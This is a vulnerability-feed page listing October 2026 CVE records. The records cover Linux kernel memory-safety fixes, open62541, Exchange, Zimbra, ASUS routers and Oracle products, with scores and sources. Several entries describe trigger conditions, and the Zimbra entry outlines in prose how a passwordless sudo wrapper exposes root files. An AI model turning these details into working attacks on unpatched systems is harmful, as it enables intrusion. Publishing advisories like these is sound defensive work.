https://kevwire.com/record/CVE-2026-98432
Linux kernel: ipv4: free inet_opt and ireq_opt after an RCU grace period (Oct 15, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ipv4: free inet_opt and ireq_opt after an RCU grace period

tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the
child socket (newinet->inet_opt) without copying it.

Another cpu can concurrently process a retransmitted SYN for the same
request socket, and send a SYNACK from tcp_check_req().
tcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt
under rcu_read_lock() only, and ip_build_and_send_pkt() and
ip_options_build() then read opt->optlen twice.

Note that the SYNACK timer itself is not an issue: it holds a
reference on its request socket, and inet_csk_reqsk_queue_drop()
calls timer_delete_sync() before the child can be freed.

Since commit 079096f103fa ("tcp/dccp: install syn_recv requests
into ehash table"), request sockets are processed without holding
the listener lock, so nothing prevents the child socket from being
freed while the SYNACK is still being built. TCP child sockets do
not have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt
with a plain kfree(), leading to a use-after-free in
ip_options_build().

A similar issue exists with request socket migration
(net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE
program). reqsk_timer_handler() clones the request socket with
inet_reqsk_clone(), so that the old request socket and its clone
share the same ireq_opt, then reqsk_migrate_reset() clears the
pointer in the old one. Another cpu holding a reference on the old
request socket can still be using these options (sending a SYNACK,
or creating a child in tcp_v4_syn_recv_sock()) when the clone is
freed, and tcp_v4_reqsk_destructor() also uses a plain kfree().

Readers already use RCU, and other paths replacing inet_opt
(do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use
kfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and
tcp_v4_reqsk_destructor() as well.

IPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock()
duplicates the options. tcp_v6_reqsk_destructor() has the same
migration issue with ipv6_opt, which is only set by CALIPSO. This
will be addressed in a separate patch.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98432).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98432&date=2026-10-25).
Sources:
NVD CVE-2026-98432: https://nvd.nist.gov/vuln/detail/CVE-2026-98432
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98432&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ipv4: free inet_opt and ireq_opt after an RCU grace period

tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the
child socket (newinet->inet_opt) without copying it.

Another cpu can concurrently process a retransmitted SYN for the same
request socket, and send a SYNACK from tcp_check_req().
tcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt
under rcu_read_lock() only, and ip_build_and_send_pkt() and
ip_options_build() then read opt->optlen twice.

Note that the SYNACK timer itself is not an issue: it holds a
reference on its request socket, and inet_csk_reqsk_queue_drop()
calls timer_delete_sync() before the child can be freed.

Since commit 079096f103fa ("tcp/dccp: install syn_recv requests
into ehash table"), request sockets are processed without holding
the listener lock, so nothing prevents the child socket from being
freed while the SYNACK is still being built. TCP child sockets do
not have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt
with a plain kfree(), leading to a use-after-free in
ip_options_build().

A similar issue exists with request socket migration
(net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE
program). reqsk_timer_handler() clones the request socket with
inet_reqsk_clone(), so that the old request socket and its clone
share the same ireq_opt, then reqsk_migrate_reset() clears the
pointer in the old one. Another cpu holding a reference on the old
request socket can still be using these options (sending a SYNACK,
or creating a child in tcp_v4_syn_recv_sock()) when the clone is
freed, and tcp_v4_reqsk_destructor() also uses a plain kfree().

Readers already use RCU, and other paths replacing inet_opt
(do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use
kfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and
tcp_v4_reqsk_destructor() as well.

IPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock()
duplicates the options. tcp_v6_reqsk_destructor() has the same
migration issue with ipv6_opt, which is only set by CALIPSO. This
will be addressed in a separate patch.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drop_monitor: fix out-of-bounds write in reset_per_cpu_data()
https://kevwire.com/record/CVE-2026-98419
Linux kernel: drop_monitor: fix out-of-bounds write in reset_per_cpu_data() (Oct 14, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drop_monitor: fix out-of-bounds write in reset_per_cpu_data()

In reset_per_cpu_data(), al is computed as:

    al = sizeof(struct net_dm_alert_msg);
    al += dm_hit_limit * sizeof(struct net_dm_drop_point);
    al += sizeof(struct nlattr);

    skb = genlmsg_new(al, GFP_KERNEL);
    ...
    nla = nla_reserve(skb, NLA_UNSPEC, sizeof(struct net_dm_alert_msg));
    ...
    msg = nla_data(nla);
    memset(msg, 0, al);

Because al includes sizeof(struct nlattr) (the 4-byte attribute header),
genlmsg_new() allocates al bytes of tailroom starting at nla.
However, msg points to nla_data(nla), which is located
sizeof(struct nlattr) bytes past nla. Calling memset(msg, 0, al)
therefore writes al bytes starting from msg, exceeding the allocated
buffer by sizeof(struct nlattr) (4 bytes) and corrupting
skb_shared_info.

Fix this by letting al represent only the payload length, allocating
the skb with genlmsg_new(nla_total_size(al), GFP_KERNEL), and zeroing
al bytes from msg.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98419).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98419&date=2026-10-25).
Sources:
NVD CVE-2026-98419: https://nvd.nist.gov/vuln/detail/CVE-2026-98419
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98419&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drop_monitor: fix out-of-bounds write in reset_per_cpu_data()

In reset_per_cpu_data(), al is computed as:

    al = sizeof(struct net_dm_alert_msg);
    al += dm_hit_limit * sizeof(struct net_dm_drop_point);
    al += sizeof(struct nlattr);

    skb = genlmsg_new(al, GFP_KERNEL);
    ...
    nla = nla_reserve(skb, NLA_UNSPEC, sizeof(struct net_dm_alert_msg));
    ...
    msg = nla_data(nla);
    memset(msg, 0, al);

Because al includes sizeof(struct nlattr) (the 4-byte attribute header),
genlmsg_new() allocates al bytes of tailroom starting at nla.
However, msg points to nla_data(nla), which is located
sizeof(struct nlattr) bytes past nla. Calling memset(msg, 0, al)
therefore writes al bytes starting from msg, exceeding the allocated
buffer by sizeof(struct nlattr) (4 bytes) and corrupting
skb_shared_info.

Fix this by letting al represent only the payload length, allocating
the skb with genlmsg_new(nla_total_size(al), GFP_KERNEL), and zeroing
al bytes from msg.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: smb: client: fix missing iov bounds check in parse_posix_sids()
https://kevwire.com/record/CVE-2026-98405
Linux kernel: smb: client: fix missing iov bounds check in parse_posix_sids() (Oct 14, 2026).
In the Linux kernel, the following vulnerability has been resolved:

smb: client: fix missing iov bounds check in parse_posix_sids()

In parse_posix_sids(), sidsbuf_end is calculated using the server-supplied
out_len without being validated against the actual length of the received
iov (iov_len).

If a server provides an inflated out_len, sidsbuf_end will point past the
end of the iov. This defeats the bounds guards in posix_info_sid_size(),
allowing out-of-bounds reads into adjacent kernel memory.

Fix this by rejecting responses where the calculated sidsbuf_end would
exceed the received iov boundaries or cause pointer wraparound.
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98405).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98405&date=2026-10-25).
Sources:
NVD CVE-2026-98405: https://nvd.nist.gov/vuln/detail/CVE-2026-98405
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98405&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

smb: client: fix missing iov bounds check in parse_posix_sids()

In parse_posix_sids(), sidsbuf_end is calculated using the server-supplied
out_len without being validated against the actual length of the received
iov (iov_len).

If a server provides an inflated out_len, sidsbuf_end will point past the
end of the iov. This defeats the bounds guards in posix_info_sid_size(),
allowing out-of-bounds reads into adjacent kernel memory.

Fix this by rejecting responses where the calculated sidsbuf_end would
exceed the received iov boundaries or cause pointer wraparound.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net: iptunnel: fix stale transport header during tunnel decapsulation
https://kevwire.com/record/CVE-2026-98401
Linux kernel: net: iptunnel: fix stale transport header during tunnel decapsulation (Oct 14, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net: iptunnel: fix stale transport header during tunnel decapsulation

Syzbot reported a crash in qdisc_pkt_len_segs_init() caused by a stale
transport_header offset after tunnel decapsulation.

BUG: unable to handle page fault for address: ffffed102091a42e
Oops: Oops: 0000 [#1] SMP KASAN NOPTI
CPU: 0 UID: 0 PID: 340 Comm: qdisc_uaf_repro Not tainted 7.2.0-rc4-00061-g248951ddc14d #256 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:__asan_load2
<IRQ>
qdisc_pkt_len_segs_init (net/core/dev.c:4145)
__dev_queue_xmit (net/core/dev.c:4787)
br_dev_queue_push_xmit (net/bridge/br_forward.c:53)
br_handle_frame_finish (net/bridge/br_input.c:229)
br_handle_frame (net/bridge/br_input.c:315)
__netif_receive_skb_core.constprop.0 (net/core/dev.c:6099)
__netif_receive_skb_list_core (net/core/dev.c:6287)
netif_receive_skb_list_internal (net/core/dev.c:6445)
napi_complete_done (net/core/dev.c:6813)
gro_cell_poll (net/core/gro_cells.c:74)
__napi_poll (net/core/dev.c:7735)
net_rx_action (net/core/dev.c:7798 net/core/dev.c:7955)
handle_softirqs (kernel/softirq.c:622)
do_softirq (kernel/softirq.c:523  kernel/softirq.c:510 )
__local_bh_enable_ip (kernel/softirq.c:450)
tun_get_user (drivers/net/tun.c:1986 (discriminator 1))
tun_chr_write_iter (drivers/net/tun.c:2032)

The issue is completely latent until qdisc read transport header in
commit 7fb4c1967011 ("net: pull headers in qdisc_pkt_len_segs_init()").
The crash requires four conditions to line up:

1. The incoming packet is encapsulated and carries GSO metadata. The outer
   transport header offset is stored in skb->transport_header while the
   packet is still in the outer tunnel context.
2. The tunnel receiver strips the outer headers. skb->data is advanced to
   the inner frame, but skb->transport_header is left pointing to the
   now-removed outer L4 header, so it becomes a negative offset relative to
   the new data.
3. The inner frame is not delivered to the local IP stack. Instead, it
   is forwarded at L2 by a bridge or HSR, so ip_rcv_core() never runs and
   the transport header is not rese
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98401).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98401&date=2026-10-25).
Sources:
NVD CVE-2026-98401: https://nvd.nist.gov/vuln/detail/CVE-2026-98401
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98401&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net: iptunnel: fix stale transport header during tunnel decapsulation

Syzbot reported a crash in qdisc_pkt_len_segs_init() caused by a stale
transport_header offset after tunnel decapsulation.

BUG: unable to handle page fault for address: ffffed102091a42e
Oops: Oops: 0000 [#1] SMP KASAN NOPTI
CPU: 0 UID: 0 PID: 340 Comm: qdisc_uaf_repro Not tainted 7.2.0-rc4-00061-g248951ddc14d #256 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:__asan_load2
<IRQ>
qdisc_pkt_len_segs_init (net/core/dev.c:4145)
__dev_queue_xmit (net/core/dev.c:4787)
br_dev_queue_push_xmit (net/bridge/br_forward.c:53)
br_handle_frame_finish (net/bridge/br_input.c:229)
br_handle_frame (net/bridge/br_input.c:315)
__netif_receive_skb_core.constprop.0 (net/core/dev.c:6099)
__netif_receive_skb_list_core (net/core/dev.c:6287)
netif_receive_skb_list_internal (net/core/dev.c:6445)
napi_complete_done (net/core/dev.c:6813)
gro_cell_poll (net/core/gro_cells.c:74)
__napi_poll (net/core/dev.c:7735)
net_rx_action (net/core/dev.c:7798 net/core/dev.c:7955)
handle_softirqs (kernel/softirq.c:622)
do_softirq (kernel/softirq.c:523  kernel/softirq.c:510 )
__local_bh_enable_ip (kernel/softirq.c:450)
tun_get_user (drivers/net/tun.c:1986 (discriminator 1))
tun_chr_write_iter (drivers/net/tun.c:2032)

The issue is completely latent until qdisc read transport header in
commit 7fb4c1967011 ("net: pull headers in qdisc_pkt_len_segs_init()").
The crash requires four conditions to line up:

1. The incoming packet is encapsulated and carries GSO metadata. The outer
   transport header offset is stored in skb->transport_header while the
   packet is still in the outer tunnel context.
2. The tunnel receiver strips the outer headers. skb->data is advanced to
   the inner frame, but skb->transport_header is left pointing to the
   now-removed outer L4 header, so it becomes a negative offset relative to
   the new data.
3. The inner frame is not delivered to the local IP stack. Instead, it
   is forwarded at L2 by a bridge or HSR, so ip_rcv_core() never runs and
   the transport header is not reset to the inner L4 offset.
4. The forwarding path calls __dev_queue_xmit(), which enters
   qdisc_pkt_len_segs_init(). That function computes the GSO header length
   from skb_transport_offset(skb). Because the offset is negative, the
   unsigned cast overflows and pskb_may_pull(skb, hdr_len +
   sizeof(struct tcphdr)) reads past the end of the skb, triggering a
   KASAN fault or page fault.

The issue specifically requires GSO packets (shinfo->gso_size != 0), which
are processed/aggregated through gro_cells. Fix this by clearing
transport_header to the ~0U sentinel in gro_cell for all tunnnel driver.
GTP does not support GRO/GSO, drop the evil GSO packets in GTP directly.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### open62541 1.5.0 before 1.5.7 contains an integer overflow in UA_DataType_fromStructureDescription() that wraps the 16-bit memSize field for large custom structure definitions.
https://kevwire.com/record/CVE-2026-116014
open62541 1.5.0 before 1.5.7 contains an integer overflow in UA_DataType_fromStructureDescription() that wraps the 16-bit memSize field for large custom structure definitions. (Oct 24, 2026).
open62541 1.5.0 before 1.5.7 contains an integer overflow in UA_DataType_fromStructureDescription() that wraps the 16-bit memSize field for large custom structure definitions. A malicious OPC UA server can supply DataType definitions via UA_Client_getRemoteDataTypes(), causing decodeBinaryStructure() to overflow the heap, crashing clients or enabling code execution.
CVSS 9.2 (version 4.0; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116014).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116014&date=2026-10-25).
Sources:
NVD CVE-2026-116014: https://nvd.nist.gov/vuln/detail/CVE-2026-116014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116014&date=2026-10-25
open62541 1.5.0 before 1.5.7 contains an integer overflow in UA_DataType_fromStructureDescription() that wraps the 16-bit memSize field for large custom structure definitions. A malicious OPC UA server can supply DataType definitions via UA_Client_getRemoteDataTypes(), causing decodeBinaryStructure() to overflow the heap, crashing clients or enabling code execution.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Exchange Online allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96185
Stack-based buffer overflow in Microsoft Exchange Online allows an authorized attacker to execute code over a network. (Oct 22, 2026).
Stack-based buffer overflow in Microsoft Exchange Online allows an authorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96185).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96185&date=2026-10-25).
Sources:
NVD CVE-2026-96185: https://nvd.nist.gov/vuln/detail/CVE-2026-96185
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96185&date=2026-10-25
Stack-based buffer overflow in Microsoft Exchange Online allows an authorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A local privilege escalation vulnerability in the optional dnscache package of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to access files with root privileges.
https://kevwire.com/record/CVE-2026-93640
A local privilege escalation vulnerability in the optional dnscache package of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to access files with root privileges. (Oct 23, 2026).
A local privilege escalation vulnerability in the optional dnscache package of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to access files with root privileges. The passwordless sudo policy permits arbitrary arguments to zmunbound, whose wrapper forwards them to Unbound without restricting the configuration path. An attacker can supply a configuration that retains root privileges and disables the chroot. Include directives expose root-readable file contents through parser errors, while an attacker-selected logfile path creates a root-owned file or appends Unbound log records to an existing file. This can disclose password hashes and private keys and corrupt privileged configuration files, preventing affected services from starting with the modified configuration. The affected configuration is present in ZCS 10.1.16 and 10.1.21 dnscache packages.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93640).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93640&date=2026-10-25).
Sources:
NVD CVE-2026-93640: https://nvd.nist.gov/vuln/detail/CVE-2026-93640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93640&date=2026-10-25
A local privilege escalation vulnerability in the optional dnscache package of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to access files with root privileges. The passwordless sudo policy permits arbitrary arguments to zmunbound, whose wrapper forwards them to Unbound without restricting the configuration path. An attacker can supply a configuration that retains root privileges and disables the chroot. Include directives expose root-readable file contents through parser errors, while an attacker-selected logfile path creates a root-owned file or appends Unbound log records to an existing file. This can disclose password hashes and private keys and corrupt privileged configuration files, preventing affected services from starting with the modified configuration. The affected configuration is present in ZCS 10.1.16 and 10.1.21 dnscache packages.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform...
https://kevwire.com/record/CVE-2026-93489
Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform... (Oct 23, 2026).
Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform administrator operations.
Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.
CVSS 8.7 (version 4.0; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93489).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93489&date=2026-10-25).
Sources:
NVD CVE-2026-93489: https://nvd.nist.gov/vuln/detail/CVE-2026-93489
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93489&date=2026-10-25
Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform administrator operations.
Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite).
https://kevwire.com/record/CVE-2026-91504
Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite). (Oct 20, 2026).
Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91504).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91504&date=2026-10-25).
Sources:
NVD CVE-2026-91504: https://nvd.nist.gov/vuln/detail/CVE-2026-91504
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91504&date=2026-10-25
Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the VPD component of Oracle Database Server.
https://kevwire.com/record/CVE-2026-91503
Vulnerability in the VPD component of Oracle Database Server. (Oct 20, 2026).
Vulnerability in the VPD component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Table privilege with network access via Oracle Net to compromise VPD.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all VPD accessible data as well as  unauthorized access to critical data or complete access to all VPD accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91503).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91503&date=2026-10-25).
Sources:
NVD CVE-2026-91503: https://nvd.nist.gov/vuln/detail/CVE-2026-91503
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91503&date=2026-10-25
Vulnerability in the VPD component of Oracle Database Server.  Supported versions that are affected are 19.3-19.32, 21.3-21.23 and  23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Table privilege with network access via Oracle Net to compromise VPD.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all VPD accessible data as well as  unauthorized access to critical data or complete access to all VPD accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-91502
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as  unauthorized read access to a subset of Oracle WebLogic Server accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).
CVSS 7.3 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91502).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91502&date=2026-10-25).
Sources:
NVD CVE-2026-91502: https://nvd.nist.gov/vuln/detail/CVE-2026-91502
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91502&date=2026-10-25
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as  unauthorized read access to a subset of Oracle WebLogic Server accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the RDBMS component of Oracle Database Server.
https://kevwire.com/record/CVE-2026-91499
Vulnerability in the RDBMS component of Oracle Database Server. (Oct 20, 2026).
Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_VECTOR privilege with network access via Oracle Net to compromise RDBMS.  Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91499).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91499&date=2026-10-25).
Sources:
NVD CVE-2026-91499: https://nvd.nist.gov/vuln/detail/CVE-2026-91499
